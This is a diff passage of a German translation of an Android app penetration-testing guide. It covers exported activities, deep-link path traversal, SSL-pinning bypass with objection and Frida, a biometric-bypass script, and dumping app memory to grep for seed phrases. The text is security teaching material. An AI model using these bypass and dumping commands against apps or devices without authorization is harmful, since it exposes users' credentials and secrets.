Schlüssel. Dies sollte nicht geschehen, da einige Reverse-Engineering-Aktivitäten Angreifern ermöglichen könnten, die vertraulichen Informationen zu extrahieren. **Verwendung unsicherer und/oder veralteter Algorithmen** @@ -154,9 +154,9 @@ Entwickler sollten keine **veralteten Algorithmen** verwenden, um **Autorisierun ### Weitere Überprüfungen - Es wird empfohlen, die **APK zu obfuskieren**, um die Reverse-Engineering-Arbeit für Angreifer zu erschweren. -- Wenn die App sensibel ist (wie Bank-Apps), sollte sie ihre **eigenen Überprüfungen durchführen, um zu sehen, ob das Mobilgerät gerootet ist**, und entsprechend handeln. +- Wenn die App sensibel ist (wie Bank-Apps), sollte sie **eigene Überprüfungen durchführen, um zu sehen, ob das Mobilgerät gerootet ist**, und entsprechend handeln. - Wenn die App sensibel ist (wie Bank-Apps), sollte sie überprüfen, ob ein **Emulator** verwendet wird. -- Wenn die App sensibel ist (wie Bank-Apps), sollte sie **ihre eigene Integrität überprüfen, bevor sie ausgeführt wird**, um zu überprüfen, ob sie modifiziert wurde. +- Wenn die App sensibel ist (wie Bank-Apps), sollte sie **ihre eigene Integrität überprüfen, bevor sie ausgeführt wird**, um zu prüfen, ob sie modifiziert wurde. - Verwenden Sie [**APKiD**](https://github.com/rednaga/APKiD), um zu überprüfen, welcher Compiler/Packer/Obfuskator verwendet wurde, um die APK zu erstellen. ### React Native Anwendung @@ -181,7 +181,7 @@ Laut diesem [**Blogbeitrag**](https://clearbluejar.github.io/posts/desuperpackin ### Automatisierte statische Codeanalyse -Das Tool [**mariana-trench**](https://github.com/facebook/mariana-trench) ist in der Lage, **Schwachstellen** durch **Scannen** des **Codes** der Anwendung zu finden. Dieses Tool enthält eine Reihe von **bekannten Quellen** (die dem Tool die **Stellen** anzeigen, an denen die **Eingabe** **vom Benutzer** **kontrolliert** wird), **Senken** (die dem Tool **gefährliche** **Stellen** anzeigen, an denen bösartige Benutzereingaben Schäden verursachen könnten) und **Regeln**. Diese Regeln zeigen die **Kombination** von **Quellen-Senken**, die auf eine Schwachstelle hinweisen. +Das Tool [**mariana-trench**](https://github.com/facebook/mariana-trench) ist in der Lage, **Schwachstellen** durch **Scannen** des **Codes** der Anwendung zu finden. Dieses Tool enthält eine Reihe von **bekannten Quellen** (die dem Tool die **Stellen** anzeigen, an denen die **Eingabe** **vom Benutzer** **kontrolliert** wird), **Senken** (die dem Tool **gefährliche** **Stellen** anzeigen, an denen bösartige Benutzereingaben Schäden verursachen könnten) und **Regeln**. Diese Regeln geben die **Kombination** von **Quellen-Senken** an, die auf eine Schwachstelle hinweisen. Mit diesem Wissen wird **mariana-trench den Code überprüfen und mögliche Schwachstellen darin finden**. @@ -226,12 +226,12 @@ Sie können sogar **die Protokolle Ihrer Anwendung** im Web sehen und über **ad Dank der ADB-Verbindung können Sie **Drozer** und **Frida** innerhalb der Emulatoren verwenden. -### Lokale dynamische Analyse +### Lokale Dynamische Analyse #### Verwendung eines Emulators -- [**Android Studio**](https://developer.android.com/studio) (Sie können **x86** und **arm** Geräte erstellen, und laut [**diesem** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**neueren x86** Versionen **unterstützen ARM-Bibliotheken** ohne einen langsamen ARM-Emulator zu benötigen). -- Lernen Sie, es auf dieser Seite einzurichten: +- [**Android Studio**](https://developer.android.com/studio) (Sie können **x86** und **arm** Geräte erstellen, und laut [**diesem**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**neueste x86** Versionen **unterstützen ARM-Bibliotheken** ohne einen langsamen ARM-Emulator zu benötigen). +- Lernen Sie, wie Sie es auf dieser Seite einrichten: {{#ref}} avd-android-virtual-device.md @@ -240,8 +240,8 @@ avd-android-virtual-device.md - [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Kostenlose Version:** Personal Edition, Sie müssen ein Konto erstellen. _Es wird empfohlen, die Version **MIT** _**VirtualBox** herunterzuladen, um potenzielle Fehler zu vermeiden._) - [**Nox**](https://es.bignox.com) (Kostenlos, unterstützt jedoch kein Frida oder Drozer). -> [!NOTE] -> Denken Sie daran, dass beim Erstellen eines neuen Emulators auf einer beliebigen Plattform der Bildschirm umso größer ist, je langsamer der Emulator läuft. Wählen Sie also nach Möglichkeit kleine Bildschirme aus. +> [!HINWEIS] +> Denken Sie daran, dass beim Erstellen eines neuen Emulators auf jeder Plattform der Emulator langsamer läuft, je größer der Bildschirm ist. Wählen Sie also nach Möglichkeit kleine Bildschirme aus. Um **Google-Dienste** (wie den App Store) in Genymotion zu installieren, müssen Sie auf die rot markierte Schaltfläche im folgenden Bild klicken: @@ -257,7 +257,7 @@ Sie müssen die **Debugging**-Optionen aktivieren, und es wäre gut, wenn Sie es 2. (Ab Android 8.0) Wählen Sie **System**. 3. Wählen Sie **Über das Telefon**. 4. Drücken Sie **Build-Nummer** 7 Mal. -5. Gehen Sie zurück und Sie finden die **Entwickleroptionen**. +5. Gehen Sie zurück, und Sie finden die **Entwickleroptionen**. > Sobald Sie die Anwendung installiert haben, sollten Sie zunächst versuchen, sie zu verwenden und zu untersuchen, was sie tut, wie sie funktioniert und sich damit vertraut zu machen.\ > Ich empfehle, diese erste dynamische Analyse mit MobSF-Dynamikanalyse + pidcat durchzuführen, damit wir **lernen können, wie die Anwendung funktioniert**, während MobSF eine Menge **interessanter** **Daten** erfasst, die Sie später überprüfen können. @@ -268,13 +268,13 @@ Sie müssen die **Debugging**-Optionen aktivieren, und es wäre gut, wenn Sie es Entwickler sollten vorsichtig sein, **Debugging-Informationen** öffentlich zugänglich zu machen, da dies zu sensiblen Datenlecks führen kann. Die Tools [**pidcat**](https://github.com/JakeWharton/pidcat) und `adb logcat` werden empfohlen, um Anwendungsprotokolle zu überwachen, um sensible Informationen zu identifizieren und zu schützen. **Pidcat** wird wegen seiner Benutzerfreundlichkeit und Lesbarkeit bevorzugt. -> [!WARNING] +> [!WARNUNG] > Beachten Sie, dass ab **neueren Versionen als Android 4.0** **Anwendungen nur auf ihre eigenen Protokolle zugreifen können**. Anwendungen können also nicht auf die Protokolle anderer Apps zugreifen.\ -> Dennoch wird weiterhin empfohlen, **sensible Informationen nicht zu protokollieren**. +> Dennoch wird empfohlen, **sensible Informationen nicht zu protokollieren**. -**Zwischenablage-Puffer-Caching** +**Zwischenablage-Caching** -Das **clipboard-basierte** Framework von Android ermöglicht die Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **zugreifen** können, was potenziell sensible Daten offenlegen könnte. Es ist wichtig, die **Copy/Paste**-Funktionen für sensible Abschnitte einer Anwendung, wie z. B. Kreditkartendaten, zu deaktivieren, um Datenlecks zu verhindern. +Das **zwischenablagebasierte** Framework von Android ermöglicht die Copy-Paste-Funktionalität in Apps, birgt jedoch das Risiko, dass **andere Anwendungen** auf die Zwischenablage **zugreifen** können, was potenziell sensible Daten offenlegen könnte. Es ist entscheidend, die **Copy/Paste**-Funktionen für sensible Abschnitte einer Anwendung, wie z. B. Kreditkartendaten, zu deaktivieren, um Datenlecks zu verhindern. **Absturzprotokolle** @@ -291,14 +291,14 @@ Anwendungen integrieren häufig Dienste wie Google Adsense, die unbeabsichtigt * Die meisten Anwendungen verwenden **interne SQLite-Datenbanken**, um Informationen zu speichern. Während des Pentests sollten Sie einen **Blick** auf die **Datenbanken** werfen, die erstellt wurden, die Namen der **Tabellen** und **Spalten** sowie alle **gespeicherten Daten**, da Sie **sensible Informationen** finden könnten (was eine Schwachstelle darstellen würde).\ Datenbanken sollten sich in `/data/data/the.package.name/databases` wie `/data/data/com.mwr.example.sieve/databases` befinden. -Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt** ist, Sie jedoch das **Passwort** in der Anwendung finden können, ist dies immer noch eine **Schwachstelle**. +Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt** ist, Sie jedoch das **Passwort** innerhalb der Anwendung **finden** können, ist dies immer noch eine **Schwachstelle**. Zählen Sie die Tabellen mit `.tables` und zählen Sie die Spalten der Tabellen mit `.schema `. ### Drozer (Exploiting Activities, Content Providers und Services) -Aus [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** ermöglicht es Ihnen, **die Rolle einer Android-App zu übernehmen** und mit anderen Apps zu interagieren. Es kann **alles tun, was eine installierte Anwendung tun kann**, wie die Nutzung des Inter-Process Communication (IPC)-Mechanismus von Android und die Interaktion mit dem zugrunde liegenden Betriebssystem.\ -Drozer ist ein nützliches Tool, um **exportierte Aktivitäten, exportierte Dienste und Content Provider** auszunutzen, wie Sie in den folgenden Abschnitten lernen werden. +Aus [Drozer-Dokumentation](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** ermöglicht es Ihnen, **die Rolle einer Android-App zu übernehmen** und mit anderen Apps zu interagieren. Es kann **alles tun, was eine installierte Anwendung tun kann**, wie die Nutzung des Inter-Process Communication (IPC)-Mechanismus von Android und die Interaktion mit dem zugrunde liegenden Betriebssystem.\ +Drozer ist ein nützliches Tool, um **exportierte Aktivitäten, exportierte Dienste und Content Providers** auszunutzen, wie Sie in den folgenden Abschnitten lernen werden. ### Ausnutzen exportierter Aktivitäten @@ -307,25 +307,25 @@ Denken Sie auch daran, dass der Code einer Aktivität in der **`onCreate`**-Meth **Autorisierungsumgehung** -Wenn eine Aktivität exportiert ist, können Sie ihren Bildschirm von einer externen App aus aufrufen. Daher könnten Sie, wenn eine Aktivität mit **sensiblen Informationen** **exportiert** ist, die **Authentifizierungs**-Mechanismen **umgehen**, um darauf zuzugreifen. +Wenn eine Aktivität exportiert wird, können Sie ihren Bildschirm von einer externen App aus aufrufen. Daher könnten Sie, wenn eine Aktivität mit **sensiblen Informationen** **exportiert** wird, die **Authentifizierungs**mechanismen **umgehen**, um darauf zuzugreifen. [**Erfahren Sie, wie Sie exportierte Aktivitäten mit Drozer ausnutzen.**](drozer-tutorial/index.html#activities) -Sie können auch eine exportierte Aktivität von adb aus starten: +Sie können auch eine exportierte Aktivität von adb starten: -- PackageName ist com.example.demo -- Exportierte ActivityName ist com.example.test.MainActivity +- Paketname ist com.example.demo +- Exportierte Aktivitätsname ist com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` **HINWEIS**: MobSF wird die Verwendung von _**singleTask/singleInstance**_ als `android:launchMode` in einer Aktivität als bösartig erkennen, aber aufgrund von [diesem](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) ist dies anscheinend nur in alten Versionen (API-Versionen < 21) gefährlich. > [!HINWEIS] -> Beachten Sie, dass ein Autorisierungsumgehung nicht immer eine Schwachstelle ist; es hängt davon ab, wie die Umgehung funktioniert und welche Informationen offengelegt werden. +> Beachten Sie, dass ein Autorisierungsumgehung nicht immer eine Schwachstelle ist, es hängt davon ab, wie die Umgehung funktioniert und welche Informationen offengelegt werden. **Sensibler Informationsleck** -**Aktivitäten können auch Ergebnisse zurückgeben**. Wenn Sie es schaffen, eine exportierte und ungeschützte Aktivität zu finden, die die **`setResult`**-Methode aufruft und **sensible Informationen zurückgibt**, liegt ein sensibler Informationsleck vor. +**Aktivitäten können auch Ergebnisse zurückgeben**. Wenn Sie es schaffen, eine exportierte und ungeschützte Aktivität zu finden, die die **`setResult`**-Methode aufruft und **sensible Informationen zurückgibt**, gibt es ein sensibles Informationsleck. #### Tapjacking @@ -370,18 +370,18 @@ _Beachten Sie, dass Sie **den Paketnamen weglassen** können und das Mobilgerät ``` **Code ausgeführt** -Um den **Code zu finden, der in der App ausgeführt wird**, gehe zu der Aktivität, die durch den Deeplink aufgerufen wird, und suche die Funktion **`onNewIntent`**. +Um den **Code zu finden, der in der App ausgeführt wird**, gehen Sie zu der Aktivität, die durch den Deeplink aufgerufen wird, und suchen Sie die Funktion **`onNewIntent`**. ![](<../../images/image (436) (1) (1) (1).png>) **Sensible Informationen** -Jedes Mal, wenn du einen Deeplink findest, überprüfe, dass **er keine sensiblen Daten (wie Passwörter) über URL-Parameter empfängt**, da jede andere Anwendung **den Deeplink nachahmen und diese Daten stehlen könnte!** +Jedes Mal, wenn Sie einen Deep Link finden, überprüfen Sie, dass **er keine sensiblen Daten (wie Passwörter) über URL-Parameter empfängt**, da jede andere Anwendung **den Deep Link nachahmen und diese Daten stehlen könnte!** **Parameter im Pfad** -Du **musst auch überprüfen, ob ein Deeplink einen Parameter im Pfad** der URL verwendet, wie: `https://api.example.com/v1/users/{username}`. In diesem Fall kannst du eine Pfadtraversierung erzwingen, indem du auf etwas wie: `example://app/users?username=../../unwanted-endpoint%3fparam=value` zugreifst.\ -Beachte, dass du, wenn du die richtigen Endpunkte innerhalb der Anwendung findest, möglicherweise eine **Open Redirect** verursachen kannst (wenn ein Teil des Pfades als Domainname verwendet wird), **Account-Übernahme** (wenn du die Benutzerdaten ohne CSRF-Token ändern kannst und der verwundbare Endpunkt die richtige Methode verwendet) und jede andere Verwundbarkeit. Mehr [Info dazu hier](http://dphoeniixx.com/2020/12/13-2/). +Sie **müssen auch überprüfen, ob ein Deep Link einen Parameter im Pfad** der URL verwendet, wie: `https://api.example.com/v1/users/{username}`. In diesem Fall können Sie eine Pfadtraversierung erzwingen, indem Sie auf etwas wie: `example://app/users?username=../../unwanted-endpoint%3fparam=value` zugreifen.\ +Beachten Sie, dass Sie, wenn Sie die richtigen Endpunkte innerhalb der Anwendung finden, möglicherweise eine **Open Redirect** (wenn ein Teil des Pfades als Domainname verwendet wird), **Accountübernahme** (wenn Sie die Benutzerdaten ohne CSRF-Token ändern können und der verwundbare Endpunkt die richtige Methode verwendet) und jede andere Verwundbarkeit verursachen können. Mehr [Info dazu hier](http://dphoeniixx.com/2020/12/13-2/). **Weitere Beispiele** @@ -390,8 +390,8 @@ Ein [interessanter Bug-Bounty-Bericht](https://hackerone.com/reports/855618) üb ### Transport Layer Inspektion und Verifizierungsfehler - **Zertifikate werden von Android-Anwendungen nicht immer ordnungsgemäß überprüft**. Es ist üblich, dass diese Anwendungen Warnungen ignorieren und selbstsignierte Zertifikate akzeptieren oder in einigen Fällen auf HTTP-Verbindungen zurückgreifen. -- **Verhandlungen während des SSL/TLS-Handshakes sind manchmal schwach**, da unsichere Cipher-Suiten verwendet werden. Diese Verwundbarkeit macht die Verbindung anfällig für Man-in-the-Middle (MITM)-Angriffe, die es Angreifern ermöglichen, die Daten zu entschlüsseln. -- **Leckage privater Informationen** ist ein Risiko, wenn Anwendungen über sichere Kanäle authentifizieren, dann jedoch über unsichere Kanäle für andere Transaktionen kommunizieren. Dieser Ansatz schützt sensible Daten, wie Sitzungscookies oder Benutzerdetails, nicht vor Abfangen durch böswillige Akteure. +- **Verhandlungen während des SSL/TLS-Handshakes sind manchmal schwach** und verwenden unsichere Cipher-Suiten. Diese Verwundbarkeit macht die Verbindung anfällig für Man-in-the-Middle (MITM)-Angriffe, die es Angreifern ermöglichen, die Daten zu entschlüsseln. +- **Leckage privater Informationen** ist ein Risiko, wenn Anwendungen über sichere Kanäle authentifizieren, dann jedoch über nicht sichere Kanäle für andere Transaktionen kommunizieren. Dieser Ansatz schützt sensible Daten, wie Sitzungscookies oder Benutzerdetails, nicht vor Abfangen durch böswillige Akteure. #### Zertifikatsverifizierung @@ -403,19 +403,19 @@ SSL-Pinning ist eine Sicherheitsmaßnahme, bei der die Anwendung das Serverzerti #### Verkehrsinpektion -Um HTTP-Verkehr zu inspizieren, ist es notwendig, das **Zertifikat des Proxy-Tools zu installieren** (z. B. Burp). Ohne die Installation dieses Zertifikats ist verschlüsselter Verkehr möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats, [**klicke hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Um HTTP-Verkehr zu inspizieren, ist es notwendig, das **Zertifikat des Proxy-Tools zu installieren** (z. B. Burp). Ohne die Installation dieses Zertifikats ist der verschlüsselte Verkehr möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats [**klicken Sie hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend für die Inspektion von verschlüsseltem Verkehr. Für Anweisungen zur Änderung der Network Security Config, [**verweise auf dieses Tutorial**](make-apk-accept-ca-certificate.md). +Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend für die Inspektion von verschlüsseltem Verkehr. Für Anweisungen zur Änderung der Network Security Config [**verweisen Sie auf dieses Tutorial**](make-apk-accept-ca-certificate.md). #### Umgehung von SSL-Pinning Wenn SSL-Pinning implementiert ist, wird es notwendig, es zu umgehen, um HTTPS-Verkehr zu inspizieren. Verschiedene Methoden stehen dafür zur Verfügung: -- Automatisch **modifiziere** die **apk**, um SSL-Pinning mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) zu **umgehen**. Der größte Vorteil dieser Option ist, dass du kein Root benötigst, um das SSL-Pinning zu umgehen, aber du musst die Anwendung deinstallieren und die neue installieren, und das funktioniert nicht immer. -- Du könntest **Frida** verwenden (unten besprochen), um diesen Schutz zu umgehen. Hier hast du eine Anleitung zur Verwendung von Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- Du kannst auch versuchen, SSL-Pinning **automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- Du kannst auch versuchen, SSL-Pinning **automatisch zu umgehen** mit **MobSF dynamischer Analyse** (unten erklärt) -- Wenn du immer noch denkst, dass es Verkehr gibt, den du nicht erfasst, kannst du versuchen, **den Verkehr mit iptables an burp weiterzuleiten**. Lies diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Automatisch **modifizieren** Sie die **apk**, um SSL-Pinning mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) zu **umgehen**. Der größte Vorteil dieser Option ist, dass Sie kein Root benötigen, um das SSL-Pinning zu umgehen, aber Sie müssen die Anwendung deinstallieren und die neue installieren, und das funktioniert nicht immer. +- Sie könnten **Frida** (unten besprochen) verwenden, um diesen Schutz zu umgehen. Hier haben Sie eine Anleitung zur Verwendung von Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- Sie können auch versuchen, SSL-Pinning **automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- Sie können auch versuchen, SSL-Pinning **automatisch zu umgehen** mit **MobSF dynamischer Analyse** (unten erklärt) +- Wenn Sie immer noch denken, dass es Verkehr gibt, den Sie nicht erfassen, können Sie versuchen, **den Verkehr mit iptables an burp weiterzuleiten**. Lesen Sie diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Suche nach häufigen Webverwundbarkeiten @@ -423,21 +423,21 @@ Es ist auch wichtig, nach häufigen Webverwundbarkeiten innerhalb der Anwendung ### Frida -[Frida](https://www.frida.re) ist ein Toolkit zur dynamischen Instrumentierung für Entwickler, Reverse-Engineers und Sicherheitsforscher.\ -**Du kannst laufende Anwendungen zugreifen und Methoden zur Laufzeit hooken, um das Verhalten zu ändern, Werte zu ändern, Werte zu extrahieren, anderen Code auszuführen...**\ -Wenn du Android-Anwendungen pentesten möchtest, musst du wissen, wie man Frida verwendet. +[Frida](https://www.frida.re) ist ein dynamisches Instrumentierungstool für Entwickler, Reverse-Engineers und Sicherheitsforscher.\ +**Sie können auf die laufende Anwendung zugreifen und Methoden zur Laufzeit hooken, um das Verhalten zu ändern, Werte zu ändern, Werte zu extrahieren, anderen Code auszuführen...**\ +Wenn Sie Android-Anwendungen pentesten möchten, müssen Sie wissen, wie man Frida verwendet. -- Lerne, wie man Frida verwendet: [**Frida-Tutorial**](frida-tutorial/index.html) +- Lernen Sie, wie man Frida verwendet: [**Frida-Tutorial**](frida-tutorial/index.html) - Eine "GUI" für Aktionen mit Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Ojection ist großartig, um die Verwendung von Frida zu automatisieren: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- Du kannst einige großartige Frida-Skripte hier finden: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Versuche, Anti-Debugging / Anti-Frida-Mechanismen zu umgehen, indem du Frida wie in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) angegeben lädst (Tool [linjector](https://github.com/erfur/linjector-rs)) +- Sie finden einige großartige Frida-Skripte hier: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Versuchen Sie, Anti-Debugging / Anti-Frida-Mechanismen zu umgehen, indem Sie Frida wie in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) angegeben laden (Tool [linjector](https://github.com/erfur/linjector-rs)) ### **Speicher dumpen - Fridump** -Überprüfe, ob die Anwendung sensible Informationen im Speicher speichert, die sie nicht speichern sollte, wie Passwörter oder Mnemonics. +Überprüfen Sie, ob die Anwendung sensible Informationen im Speicher speichert, die sie nicht speichern sollte, wie Passwörter oder Mnemoniken. -Mit [**Fridump3**](https://github.com/rootbsd/fridump3) kannst du den Speicher der App dumpen mit: +Mit [**Fridump3**](https://github.com/rootbsd/fridump3) können Sie den Speicher der App dumpen mit: ```bash # With PID python3 fridump3.py -u @@ -446,13 +446,13 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Dies wird den Speicher im ./dump-Ordner ausgeben, und dort könnten Sie mit etwas wie grep suchen: +Dies wird den Speicher im ./dump-Ordner ausgeben, und dort könnten Sie mit etwas wie grep: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **Empfindliche Daten im Keystore** -In Android ist der Keystore der beste Ort, um empfindliche Daten zu speichern. Mit ausreichenden Berechtigungen ist es jedoch immer noch **möglich, darauf zuzugreifen**. Da Anwendungen dazu neigen, hier **sensible Daten im Klartext** zu speichern, sollten die Pentests dies als Root-Benutzer überprüfen, da jemand mit physischem Zugriff auf das Gerät in der Lage sein könnte, diese Daten zu stehlen. +In Android ist der Keystore der beste Ort, um sensible Daten zu speichern. Mit ausreichenden Berechtigungen ist es jedoch immer noch **möglich, darauf zuzugreifen**. Da Anwendungen dazu neigen, hier **sensible Daten im Klartext** zu speichern, sollten die Pentests dies als Root-Benutzer oder jemand mit physischem Zugriff auf das Gerät überprüfen, da diese Person in der Lage sein könnte, diese Daten zu stehlen. Selbst wenn eine App Daten im Keystore speichert, sollten die Daten verschlüsselt sein. @@ -468,11 +468,11 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ` `VT_UPLOAD = TRUE`). Sie können auch `VT_UPLOAD` auf `False` setzen, dann wird der **Hash** anstelle der Datei **hochgeladen**. @@ -534,19 +534,19 @@ Der **MobSF-Dynamikanalysator** kann: - **HTTPS-Verkehr erfassen** - **Frida** verwenden, um **Laufzeit**-**informationen** zu erhalten -Ab Android **Versionen > 5** wird **automatisch Frida gestartet** und die globalen **Proxy**-Einstellungen werden festgelegt, um den Verkehr zu **erfassen**. Es wird nur der Verkehr der getesteten Anwendung erfasst. +Ab Android **Versionen > 5** wird **Frida automatisch gestartet** und die globalen **Proxy**-Einstellungen werden festgelegt, um den Verkehr zu **erfassen**. Es wird nur der Verkehr der getesteten Anwendung erfasst. **Frida** Standardmäßig werden auch einige Frida-Skripte verwendet, um **SSL-Pinning**, **Root-Erkennung** und **Debugger-Erkennung** zu **umgehen** und um **interessante APIs** zu **überwachen**.\ -MobSF kann auch **exportierte Aktivitäten aufrufen**, **Screenshots** davon erfassen und sie für den Bericht **speichern**. +MobSF kann auch **exportierte Aktivitäten aufrufen**, **Screenshots** davon machen und sie für den Bericht **speichern**. -Um den dynamischen Test zu **starten**, drücken Sie die grüne Schaltfläche: "**Start Instrumentation**". Drücken Sie "**Frida Live Logs**", um die von den Frida-Skripten generierten Protokolle zu sehen, und "**Live API Monitor**", um alle Aufrufe an gehookte Methoden, übergebene Argumente und zurückgegebene Werte zu sehen (dies wird nach dem Drücken von "Start Instrumentation" angezeigt).\ +Um mit dem dynamischen Testen zu **beginnen**, drücken Sie die grüne Schaltfläche: "**Start Instrumentation**". Drücken Sie "**Frida Live Logs**", um die von den Frida-Skripten generierten Protokolle zu sehen, und "**Live API Monitor**", um alle Aufrufe an gehookte Methoden, übergebene Argumente und zurückgegebene Werte zu sehen (dies wird nach dem Drücken von "Start Instrumentation" angezeigt).\ MobSF ermöglicht es Ihnen auch, Ihre eigenen **Frida-Skripte** zu laden (um die Ergebnisse Ihrer Frida-Skripte an MobSF zu senden, verwenden Sie die Funktion `send()`). Es hat auch **mehrere vorgefertigte Skripte**, die Sie laden können (Sie können weitere in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` hinzufügen), wählen Sie einfach **diese aus**, drücken Sie "**Load**" und drücken Sie "**Start Instrumentation**" (Sie können die Protokolle dieser Skripte in "**Frida Live Logs**" sehen). ![](<../../images/image (419).png>) -Darüber hinaus haben Sie einige zusätzliche Frida-Funktionen: +Darüber hinaus haben Sie einige zusätzliche Frida-Funktionalitäten: - **Geladene Klassen auflisten**: Es werden alle geladenen Klassen ausgegeben. - **Strings erfassen**: Es werden alle erfassten Strings während der Verwendung der Anwendung ausgegeben (sehr laut). @@ -555,7 +555,7 @@ Darüber hinaus haben Sie einige zusätzliche Frida-Funktionen: - **Klassenmuster suchen**: Klassen nach Muster suchen. - **Methoden der Klasse nachverfolgen**: **Verfolgen** Sie eine **ganze Klasse** (sehen Sie Eingaben und Ausgaben aller Methoden der Klasse). Denken Sie daran, dass MobSF standardmäßig mehrere interessante Android-API-Methoden nachverfolgt. -Sobald Sie das zusätzliche Modul ausgewählt haben, das Sie verwenden möchten, müssen Sie auf "**Start Instrumentation**" drücken, und Sie sehen alle Ausgaben in "**Frida Live Logs**". +Sobald Sie das zusätzliche Modul ausgewählt haben, das Sie verwenden möchten, müssen Sie auf "**Start Instrumentation**" drücken, und Sie werden alle Ausgaben in "**Frida Live Logs**" sehen. **Shell** @@ -570,8 +570,8 @@ receivers ``` **HTTP-Tools** -Wenn der HTTP-Verkehr erfasst wird, können Sie eine unschöne Ansicht des erfassten Verkehrs auf "**HTTP(S) Traffic**" unten oder eine schönere Ansicht im grünen Button "**Start HTTPTools**" sehen. Von der zweiten Option aus können Sie die **erfassten Anfragen** an **Proxys** wie Burp oder Owasp ZAP **senden**.\ -Um dies zu tun, _Burp einschalten -->_ _Intercept ausschalten --> in MobSB HTTPTools die Anfrage auswählen_ --> drücken Sie "**Send to Fuzzer**" --> _wählen Sie die Proxy-Adresse_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +Wenn der HTTP-Verkehr erfasst wird, können Sie eine unschöne Ansicht des erfassten Verkehrs auf dem "**HTTP(S) Traffic**" unten oder eine schönere Ansicht im grünen Button "**Start HTTPTools**" sehen. Von der zweiten Option aus können Sie die **erfassten Anfragen** an **Proxys** wie Burp oder Owasp ZAP **senden**.\ +Um dies zu tun, _Burp einschalten -->_ _Intercept ausschalten --> im MobSB HTTPTools die Anfrage auswählen_ --> drücken Sie "**Send to Fuzzer**" --> _wählen Sie die Proxy-Adresse_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). Sobald Sie die dynamische Analyse mit MobSF abgeschlossen haben, können Sie auf "**Start Web API Fuzzer**" drücken, um **HTTP-Anfragen zu fuzzern** und nach Schwachstellen zu suchen. @@ -595,7 +595,7 @@ Dies ist ein **großartiges Tool zur Durchführung statischer Analysen mit einer ### [Qark](https://github.com/linkedin/qark) -Dieses Tool ist darauf ausgelegt, nach mehreren **sicherheitsrelevanten Schwachstellen in Android-Anwendungen** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, ein "Proof-of-Concept" deploybares APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (Exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten. +Dieses Tool ist darauf ausgelegt, nach mehreren **sicherheitsrelevanten Android-Anwendungsschwachstellen** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, ein "Proof-of-Concept" deploybares APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (Exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten. ```bash 